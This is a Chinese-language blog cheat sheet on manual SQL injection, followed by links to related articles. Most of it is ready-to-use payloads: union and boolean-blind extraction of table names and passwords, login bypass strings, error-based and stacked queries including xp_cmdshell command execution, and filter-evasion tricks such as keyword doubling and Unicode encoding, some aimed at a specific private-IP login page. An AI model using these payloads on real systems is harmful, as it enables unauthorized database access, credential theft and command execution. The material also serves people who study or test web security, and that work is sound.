sql注入手工检测

2017年12月14日 09:36:16

1、基本检测

数字型

  1. $id=@$_GET['id']; //id未经过滤
  2. $sql = "SELECT * FROM sqltest WHERE id='$id'";
  3. 判断
  4. asp?id=49' //报错
  5. asp?id=49 and 1=1
  6. asp?id=49 and 1=2
  7. 判断什么型
  8. ?id=1%2b1 //加法减法,可区分数字还是字符型
  9. 数据库权限判断,判断root
  10. and ord(mid(user(),1,1))=114 或
  11. and (select count(*) from mysql.user)>0 //返回正常有读写
  12. 判断字段,字段一样返回正常,几个字段写几个null返回正常
  13. php?id=1 and 1=1 union select 1,2,3,4,5 或
  14. php?id=1 union select null,null,null.....
  15. php?id=1 and 1=1 order by 3
  16. 强制返回记录
  17. php?id=2 union select 1,2,3 limit 1,1
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22

字符型

  1. $sql="select * from user where username = '$name'"; //php
  2. select * from user where username = 'admin' //sql
  3. $query="select first_name from users where id='$_GET['id']'"; //字符型
  4. 1' union select database() #; //输入
  5. select first_name from users where id='1'union select database()#' //sql语句变形
  6. 判断
  7. xx' and '1'=1--'
  8. xx' and '1=2--'
  9. 猜字段
  10. php?username=admin' union select 1,2,3,4 and '1'='1
  11. 猜对后是4个字段,替换相关回显位
  12. php?username=admin' union select database(),version(),3,4 and '1'='1
  13. 猜表名
  14. php?username=admin'+and+(select+count(*)+from+user)>0+and+''='
  15. 猜密码
  16. php?username=admin' and password='fendo
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21

搜索型

  1. $sql="select * from user where password like '%$pwd%' order by password";
  2. 'and 1=1 and '%'=' //输入
  3. select * from user where password like '%fendo'and 1=1 and '%'='%' order by password//sql语句
  4. 判断
  5. 'and 1=1 and '%'='
  6. keyword' //报错,90存在
  7. keyword% //报错,95存在
  8. keyword% 'and 1=1 and '%'=' //
  9. keyword% 'and 1=2 and '%'=' //
  10. 'and 1=1 and '%'='
  11. %' and 1=1--'
  12. %' and 1=1 and '%'='
  13. 判断字段
  14. %' union select 1,2,3,4,...... and '%'='
  15. %' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'=' //6是字段可更换,小于6说明字段数是5
  16. 判断表明
  17. %'and(select count(*)from admin)>0 and '%'='
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20

POST注入

  1. ' //看是否会报错,盲注不会报错
  2. ' or '1'='1'-- //用户名绕过
  3. ' or 1=1#
  4. ' order by 4#
  5. 'or 1=1 union select 1,2,3,4 # //猜表名和回显
  6. 'or 1=1 union select username,password,3,4 from user# //猜内容
  7. 实例
  8. login.asp?name=admin'&pass=admin //出错,存在
  9. login.asp?name=admin &pass=admin' and '1=1 //
  10. login.asp?pass=admin&name=admin' and 1=1 and 'a'='a //
  11. SELECT * FROM data Where uname='admin' and 1=1 and 'a'='a' //sql语句变成,此时正常登陆
  12. 可以正常运行的目标地址已经构造成功,此时可将1=1部分用SQL查询语句替代,依次对数据库表名、表中字段名、用户和密码长度、用户和密码进行测试
  13. 猜表,成功说明是data
  14. http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (select count(*) from data)>0 and 'a'='a
  15. 猜字段
  16. http://172.18.3.13:81/login.asp?pass=admin&name=admin'and (select count(uname) from data)>0 and 'a'='a
  17. 猜密码长度
  18. http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)>1)>0 and 'a'='a
  19. ,成功,说明用户"wucm"的密码大于1, 继续猜测密码长度小于10
  20. http://172.18.3.13:81/login.asp?pass=admin&name=admin' and (Select count(*) from data where uname='wucm' and len(upass)<10)>0 and 'a'='a
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

布尔盲注

  1. 判断
  2. http://localhost/index.php?id=2
  3. http://localhost/index.php?id=2'
  4. http://localhost/index.php?id=2''
  5. http://localhost/index.php?id=2%23
  6. http://localhost/index.php?id=2' and 1=1#
  7. 数据库长度
  8. php?id=2' and length(database())>1%23
  9. 数据库名称
  10. php?id=2' and ascii(substr(database(), {0}, 1))={1}%23
  11. 表长度
  12. php?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
  13. 表名
  14. php?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)), {0}, 1)={1}%23
  15. 获取字段个数和长度
  16. php?id=2' and (select length(column_name) from information_schema.columns where table_name = 0x666C6167 limit 0,1)>0%23
  17. 字段名
  18. php?id=2' and ascii(substr((select column_name from information_schema.columns where table_name = 0x666C6167 limit 0,1), {0}, 1))={1}%23
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24

报错注入

  1. ?id=2' and (select 1 from (select count(*),concat( floor(rand(0)*2),(select (select (爆错语句)) from information_schema.tables limit 0,1))x from information_schema.tables group by x )a)--+
  • 1
  • 1

堆叠注入

  1. union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句
  2. Mysql
  3. select * from users where id=1;create table test like users;
  4. Sqlserver
  5. select * from test;create table sc3(ss CHAR(8));
  6. select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
  7. Oracle 不支持
  8. Postgresql 支持
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

判断是什么数据库

  1. 常见的数据库OracleMySQLSQL ServerAccessMSsqlmongodb
  2. 关系型数据库:由二维表及其之间的联系组成的一个数据组织。如:OracleDB2MySql
  3. 1.是否可以使用特定的函数来判断,该数据库特有的
  4. len()函数:mssqlmysqldb2
  5. length()函数:Oracleinformix
  6. substringmssql
  7. substroracle
  8. version()>1 返回与@@version>1 相同页面时,则可能是mysql。如果出现提示version()错误时,则可能是mssql
  9. 2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
  10. /* mysql特有注释符,返回错误说明不是mysql
  11. -- 是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符
  12. ; 是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
  13. ;-- 在注入点后加分号、斜杠、斜杠,返回正常是mssql,返回错误是ACCESS
  14. 3.是否可以编码查询
  15. 4.是否显可以利用错信息
  16. 错误提示Microsoft JET Database Engine 错误 '80040e14',
  17. JET是ACCESS数据库
  18. ODBC是MSSQL数据库
  19. 5.是否存在数据库某些特性辅助判断
  20. and exists (select count(*) from sysobjects) 返回正常是mssql
  21. and exists (select count(*) from msysobjects) 两条,和上一条返回都不正常是ACCESS
  22. 如果是字符型,参数后加 ' 最后加 ;--
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

2、绕过技巧

大小写

  1. index.php?page_id=-15 uNIoN sELecT 1,2,3,4
  • 1
  • 1

替换关键字

  1. index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
  2. 可替换and的词 或者=号
  3. or、||(限mysql)、&&(限mysql)、xorlike、<、>
  • 1
  • 2
  • 3
  • 1
  • 2
  • 3

使用编码

  1. 1URL编码,可以编码两次
  2. page.php?id=1UNION 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
  3. 空格: 20%
  4. #: %23
  5. % %25
  6. & %26
  7. 2Unicode编码
  8. 单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、�'、�、�
  9. 空格:%u0020、%uff00、� 、�、�
  10. 左括号:%u0028、%uff08、�(、�、�
  11. 右括号:%u0029、%uff09、�)、�、�
  12. 举例:
  13. ?id=10�' AND 1=2#
  14. SELECT 'Ä'='A'; #1
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

注释和符号

  1. 常用注释
  2. //, -- , , #, --+,-- -, ;--a
  3. ' or 1=1#
  4. ' or 1=11='1
  5. ' 1='1
  6. 常用前缀
  7. + – ~ !
  8. ' or –+2=- -!!!'2
  9. 常用操作符
  10. ^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

等价函数与命令

  1. 1.函数或变量
  2. hex()、bin() ==> ascii()
  3. sleep() ==>benchmark()
  4. concat_ws()==>group_concat()
  5. mid()、substr() ==> substring()
  6. @@user ==> user()
  7. @@datadir ==> datadir()
  8. 举例substring()和substr()无法使用时
  9. ?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
  10. 或者
  11. substr((select 'password'),1,1) = 0x70
  12. strcmp(left('password',1), 0x69) = 1
  13. strcmp(left('password',1), 0x70) = 0
  14. strcmp(left('password',1), 0x71) = -1
  15. 上述这几个示例用于说明有时候当某个函数不能使用时还可以找到其他的函数替代其实现至于selectuinonwhere等关键字被限制如何处理将在后面filter部分讨论
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15

特殊符号

  1. 1.使用反引号`,例如select `version()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用
  2. 2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤
  3. 3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量
  4. 4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //绕过空格限制
  5.  

常见SQL注入点判断的更多相关文章

  1. SQL注入-数据库判断

    0x01.sql注入 sql注入是在系统开发的过程中程序员编程不规范,我们可以通过把SQL语句插入到WEB表单中进行查询字符串,最终达成欺骗服务器执行恶意的SQL命令.对于现在的网站SQL注入越来越严 ...

  2. 常见sql注入的类型

    这里只讲解sql注入漏洞的基本类型,代码分析将放在另外一篇帖子讲解 目录 最基础的注入-union注入攻击 Boolean注入攻击-布尔盲注 报错注入攻击 时间注入攻击-时间盲注 堆叠查询注入攻击 二 ...

  3. XSS过滤JAVA过滤器filter 防止常见SQL注入

    Java项目中XSS过滤器的使用方法. 简单介绍: XSS : 跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩 ...

  4. ecshop常见sql注入修复(转)

    ecshop系统部署在阿里云服务器上,阿里云提示Web-CMS漏洞: 修复方法如下: 0. /good.php 大概在第80行 $goods_id = $_REQUEST['id']; 修改为 $go ...

  5. 常见sql注入的防范总结

    在平时的开发过程中,我们可能很少会刻意的去为项目做一个sql注入的防范,这是因为你可能因为使用了某些框架,而无意间已经有了对应sql注入的一些防范操作(比如mybatis使用#{XX}传参,属于预编译 ...

  6. 常见sql注入原理详解!

    1.首先我们创建一个mysqli的链接 /**数据库配置*/ $config = ['hostname'=>"localhost", 'port'=>"330 ...

  7. Sql注入之注入点类型和是否存在注入判断

    SQL注入之判断注入类型注入类型分为数字型和字符型和搜索型例如数字型语句:select * from table where id =3,则字符型如下:select * from table wher ...

  8. 转:PHP中防止SQL注入的方法

    [一.在服务器端配置] 安全,PHP代码编写是一方面,PHP的配置更是非常关键. 我们php手手工安装的,php的默认配置文件在 /usr/local/apache2/conf/php.ini,我们最 ...

  9. Sql注入基础原理介绍

    说明:文章所有内容均截选自实验楼教程[Sql注入基础原理介绍]~ 实验原理 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击, ...

随机推荐

  1. [MIT6.006] 10. Open Addressing, Cryptographic Hashing 开放定址,加密哈希

    前几节课讲散列表的时候,我们需要用Chaining,链接法需要用到指针pointer,但有一种方法可以不要Chaining和指针,还能在发生冲突时,为产生冲突的关键字寻找下一个"空" ...

  2. gethostname(获取主机名)、gethostbyname(由主机名获取IP地址)

    int gethostname(char *name, size_t len);获取本地主机名存入name[len],成功返回0,失败返回-1: struct hostent * gethostbyn ...

  3. App与小程序对接

    背景: 商品详情页,点击分享,分享到微信好友,点开链接App拉起小程序. 用户在小程序浏览完成,跳转至原App购买商品. 功能点: 实现APP与小程序互调. 前提: 已对接好友盟ShareSDK(需要 ...

  4. python之路《七》文件的处理

    其实我觉得python的方便之处就是简便特别是对数据的处理上 当我们要处理一些数据的时候免不了的就是要处理许多的文件那么下面就让我们来看一下文件的处理 1.打开文件 python的文件打开方式较为简单 ...

  5. springboot升级导致文件上传自动配置/tmp目录问题解决

    1,..\web\src\main\resources\spring\web-men-applicationContext.xml 保留原有的bean配置 <bean id="mult ...

  6. 配置xenserver本地存储

    查询磁盘对应关系: [root@xenserver-eqtwbths ~]# ll /dev/disk/by-id/ total 0 lrwxrwxrwx 1 root root 9 Jun 5 13 ...

  7. Python_爬虫_Scrapy设置代理

    0.检测IP是否可用 # -*- coding: UTF-8 -*- from urllib import request if __name__ == "__main__": # ...

  8. 教你在CorelDRAW中制作水印

    水印是一种数字保护的手段,在图像上添加水印即能证明本人的版权,还能对版权的保护做出贡献.也就是在图片上打上半透明的标记,因其具有透明和阴影的特性,使之不管在较为阴暗或明亮的图片上都能完美使用,嵌入的水 ...

  9. Camtasia中对给录制的视频添加视觉效果

    视频创作和后期剪辑对很多人来说是一件很头痛的事,对着屏幕一段一段.一帧一帧的进行调整会让人十分的心烦,有时花费了大量时间剪出来的视频质量却不高,让人有一种想砸键盘的冲动. 这种问题,除非是原视频素材质 ...

  10. yii2.0使用bootstrap中日期插件

    Yii2框架引用bootstrap中日期插件yii2-date-picker的方法. 使用composer安装 日期插件 php composer.phar require "2amigos ...